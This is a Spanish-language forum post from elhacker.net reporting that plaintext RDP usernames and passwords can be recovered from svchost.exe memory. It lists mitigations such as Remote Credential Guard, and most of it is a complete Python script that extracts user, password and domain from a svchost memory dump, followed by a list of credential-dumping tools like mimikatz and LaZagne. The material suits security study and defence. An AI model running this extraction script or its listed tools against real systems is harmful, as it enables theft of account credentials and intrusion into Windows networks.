elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Extraer credenciales RDP en memoria de svchost.exe
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Extraer credenciales RDP en memoria de svchost.exe  (Leído 5,000 veces)
el-brujo
ehn
***
Desconectado Desconectado

Mensajes: 21.585


La libertad no se suplica, se conquista


Ver Perfil WWW
Extraer credenciales RDP en memoria de svchost.exe
« en: 18 Mayo 2021, 12:38 pm »

Es posible extraer credenciales (usuario y contraseña) de inicio de sesión en texto plano en Windows escritorio remoto (RDP) del proceso de svchost.exe

Así lo ha descubierto el investigador Jonas, famoso recientemente por descubrir dos bugs (errores) en el sistema de archivos NTFS

Error en Windows 10 corrompe tu disco duro al ver el ícono un archivo
https://blog.elhacker.net/2021/01/error-en-windows-10-corrompe-su-disco-NTFS-i30-bitmap-icon-archivo-comando.html


Una simple búsqueda de cadena dentro de la memoria del proceso para svchost.exe revela la contraseña de texto sin formato que se utilizó para conectarse al sistema a través de RDP.

- La contraseña de texto sin formato está presente. La mayoría de los sistemas Windows modernos ya no tienen wdigest habilitado, por lo que encontrar credenciales de texto sin formato en la memoria es mucho más raro.
- La contraseña está en svchost.exe, a diferencia de lsass.exe. Esto significa que es posible que las herramientas defensivas para detectar / evitar el volcado de contraseñas de la memoria no puedan detectar esto.

Probé esto varias veces, así como muchas otras, y hasta ahora he observado lo siguiente:

- Esto parece funcionar en Windows 10, Windows Sever 2016, Windows Server 2012. Probablemente también en otros, pero hasta ahora lo he visto exitoso contra ellos.
- Según el autor del tweet y otros evaluadores, parece funcionar para cuentas locales y de dominio.
- No parece ser consistente. A veces, la contraseña está ahí, a veces no. No sé exactamente por qué es así. Parece existir en la memoria durante un largo período de tiempo, pero se desconoce cuánto tiempo.


Encuentra el proceso correcto. He visto algunas formas de hacerlo.

    Utilizando la herramienta Process Hacker 2. Ves a la pestaña Red y busca el proceso que tiene una conexión RDP. Esto solo funciona si la conexión RDP aún está activa.




Visto en:
https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/

El creador de la conocida herramienta mimikatz ha añadido recientemente la funcionalidad:





2.2.0 20210517 Terminal Server Passwords
https://github.com/gentilkiwi/mimikatz/releases

Mitigaciones:

Protect Remote Desktop credentials with Windows Defender Remote Credential Guard
https://docs.microsoft.com/en-us/windows/security/identity-protection/remote-credential-guard

Windows Defender Credential Guard: Requirements
https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-requirements


Script Python
RDP_clear.py
https://gist.github.com/k4nfr3/ca2c392572da645661b62f9a71f28ba3

Código
  1. import re
  2. from collections import namedtuple
  3. import sys
  4.  
  5. # Clear text password recovery from mem dump as found by @jonasLyk Tweet : https://twitter.com/jonasLyk/status/1393058962942083076
  6. # borrowed python code from Willi Ballenthin -> https://gist.github.com/williballenthin/8e3913358a7996eab9b96bd57fc59df2
  7. # code inspired by  @gentilkiwi 's video
  8. # This is for those who like me wanted to play with this discovery a little and dirty python3 script while waiting to see another module in the great mimikatz tool
  9. # I'm no dev so PR and constructive remarks are welcome
  10.  
  11.  
  12. ASCII_BYTE = rb" !\"#\$%&\'\(\)\*\+,-\./0123456789:;<=>\?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}\\\~\t"
  13.  
  14. RDP_Strings = ['RDPDD', 'RDV::RDP::NetDetect::BandwidthChange']  #Server 2008 and Server 2016 tested only
  15.  
  16. String = namedtuple("String", ["s", "offset"])
  17.  
  18.  
  19. def ascii_strings(buf, n=4):
  20.    reg = rb"([%s]{%d,})" % (ASCII_BYTE, n)
  21.    ascii_re = re.compile(reg)
  22.    for match in ascii_re.finditer(buf):
  23.        yield String(match.group().decode("ascii"), match.start())
  24.  
  25. def unicode_strings(buf, n=4):
  26.    reg = rb"((?:[%s]\x00){%d,})" % (ASCII_BYTE, n)
  27.    uni_re = re.compile(reg)
  28.    for match in uni_re.finditer(buf):
  29.        try:
  30.            yield String(match.group().decode("utf-16"), match.start())
  31.        except UnicodeDecodeError:
  32.            pass
  33.  
  34.  
  35. def getdomain(buf):
  36.    return buf.decode("UTF-16)")
  37.  
  38. def banner():
  39.    print(' _____ ____  _____           _             ')
  40.    print('| __  |    \|  _  |      ___| |___ ___ ___ ')
  41.    print('|    -|  |  |   __|     |  _| | -_| .\'|  _|')
  42.    print('|__|__|____/|__|   _____|___|_|___|__,|_|  ')
  43.    print('                  |_____|                  ')
  44.  
  45.  
  46.  
  47. def main():
  48.    import sys
  49.  
  50.    SVCHOST = False
  51.    Last1 = ""
  52.    Last2 = ""
  53.    Last3 = ""
  54.    SERVERNAME=""
  55.    with open(sys.argv[1], 'rb') as f:
  56.        b = f.read()
  57.  
  58.    for s in ascii_strings(b, n=4):
  59.        if format(s.s).find("svchost.exe -k termsvcs")!=-1:
  60.            print('[*] Analyse of dump of process : {:s}'.format( s.s))
  61.            SVCHOST = True
  62.        if format(s.s).find("COMPUTERNAME=")!=-1:
  63.            #print('[+] SERVERNAME : ' +s.s[13:])
  64.            SERVERNAME=s.s[13:]
  65.            break
  66.  
  67.    if (SVCHOST):
  68.        print("\n")
  69.        for s in unicode_strings(b):
  70.            #print('[+] {:d} 0x{:d}: {:s}'.format(0,s.offset, s.s))
  71.  
  72.            if s.s in RDP_Strings:
  73.                if (s.offset - Last1.offset) < 3000:
  74.                    if (Last1.offset-Last2.offset==512):
  75.                        #print('[+] User :{:d} 0x{:d}: {:s}'.format((s.offset - Last2.offset), Last2.offset, Last2.s))
  76.                        print('[+] User : \t{:s}'.format(Last2.s))
  77.                        #print('[+] Password : {:d} 0x{:d}: {:s}'.format((s.offset - Last1.offset), Last1.offset, Last1.s))
  78.                        print('[+] Password : \t{:s}'.format(Last1.s))
  79.                        if ((Last2.offset-Last3.offset) == 512) :
  80.                            print('[+] Domain : \t{:d} 0x{:d}: {:s}'.format((s.offset - Last3.offset), Last3.offset, Last3.s))
  81.                            break
  82.                        else:
  83.                            # bug in case string is less than 4 char
  84.                            domain = b[Last2.offset-512:Last2.offset]
  85.                            if getdomain(domain).strip('\x00')!="":
  86.                                print('[+] Domain : \t{:s}'.format(getdomain(domain)))
  87.                            else:  # can be empty, then it's local
  88.                                print("[+] ServerName : \t"+SERVERNAME)
  89.                            break
  90.  
  91.            Last3=Last2
  92.            Last2=Last1
  93.            Last1=s
  94.  
  95.    else:
  96.        print(sys.argv[1] + " doesn't seem to be a svchost dump file")
  97.  
  98.  
  99. if __name__ == "__main__":
  100.    banner()
  101.    if len(sys.argv) != 2:
  102.        print("\n\nDump svchost process which listens to port 3389 port with any procdump tool")
  103.        print("")
  104.        print("Usage: " + sys.argv[0] + " svchost.dmp")
  105.        exit(0)
  106.    main()
  107.  

Otras herramientas extracción credenciales en Windows

- mimikatz https://github.com/gentilkiwi/mimikatz
- Proyecto LaZagne https://github.com/AlessandroZ/LaZagne/
- Pypykatz (mimikatz) en Python https://github.com/skelsec/pypykatz
- Nishang (PowerShell) https://github.com/samratashok/nishang
- CrackMapExec CME https://github.com/byt3bl33d3r/CrackMapExec
« Última modificación: 21 Mayo 2021, 13:05 pm por el-brujo » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
svchost.exe 100% CPU
Seguridad
kaioeukz 5 4,778 Último mensaje 19 Agosto 2010, 22:36 pm
por alexa roberts
svchost.exe
Seguridad
pABL012 1 3,326 Último mensaje 16 Agosto 2013, 00:58 am
por r32
svchost.exe
Windows
NandoCS 1 2,066 Último mensaje 5 Febrero 2016, 14:37 pm
por Eleкtro
svchost
Windows
seba_pabio 0 1,833 Último mensaje 21 Junio 2016, 19:30 pm
por seba_pabio
Extraer datos de un volcado de memoria
Windows
banderas20 0 1,712 Último mensaje 3 Julio 2019, 00:14 am
por banderas20
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines